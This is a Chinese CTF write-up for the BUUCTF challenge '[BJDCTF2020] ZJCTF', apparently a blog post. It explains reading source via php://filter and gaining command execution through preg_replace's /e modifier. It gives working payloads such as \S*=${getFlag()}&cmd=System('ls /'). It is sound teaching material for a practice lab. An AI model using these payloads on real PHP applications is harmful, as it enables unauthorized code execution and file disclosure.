首页 > 其他分享 >buuctf-preg_replace的e模式造成命令执行

buuctf-preg_replace的e模式造成命令执行

时间:2023-01-11 18:23:43浏览次数:63  
标签:buuctf text preg cmd replace next str php payload

[BJDCTF2020]ZJCTF,不过如此

打开后是正常的代码审计

首先第一眼看到的就是file_get_contents而且还对$text有要求,直接上伪协议 data://text/plain,I have a dream,同时按照提示file传next.php试试

回显表示为有一次打印了一次text的内容与next.php,猜测是读取了执行了file中的内容,尝试利用伪协议读取next.php试试,
payload: ?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

读取成功,解码即可获取next的源码内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

最先看到的就是preg_replace中的一块,同时还有一个/e,即将replacement当作php代码执行,
mixed preg_replace (mixed $pattern, mixed $replacement, mixed $subject)
而‘/('.$re.')/ei'即($re),但是'strtolower("\1”)'中的\1又代表什么呢?查询后发现是regex学的不到家,此处的\1转义后即为\1在regex表示反引用

反向引用

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用‘\n'访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

//以下摘自 https://xz.aliyun.com/t/2557 ,此处很多相关知识点都来此此处
所以这里1实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为:/.={${phpinfo()}},即 GET 方式传入的参数名为.,值为{${phpinfo()}。

而后由于pattern 是 .所以整个 str是匹配的,而replacement替换也就将 str整个替换 即将str做了一个代码执行。但是最后执行结果上我们发现并没有执行,查询相关资料后,发现对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,即 .= -> _= 所以可以尝试使用 /S=${要执行的代码}
来进行命令执行。 关于为什么要用${执行的代码} 见 https://xz.aliyun.com/t/2557 爬坑三
而getFlag()部分发现可以执行eval($_GET['cmd']),所以先执行getFlag()然后利用cmd传入参数即可。
见 payload如下: \S*=${getFlag()}&cmd=System(ls);结果如下:

按经验flag一般都在根目录,所以尝试读取。
payload如下: \S*=${getFlag()}&cmd=System('ls /');结果如下:

之后打印利用cat 打印flag即可

具体知识点见 https://xz.aliyun.com/t/2557

标签:buuctf,text,preg,cmd,replace,next,str,php,payload
From: https://www.cnblogs.com/zz-gy/p/17044590.html

相关文章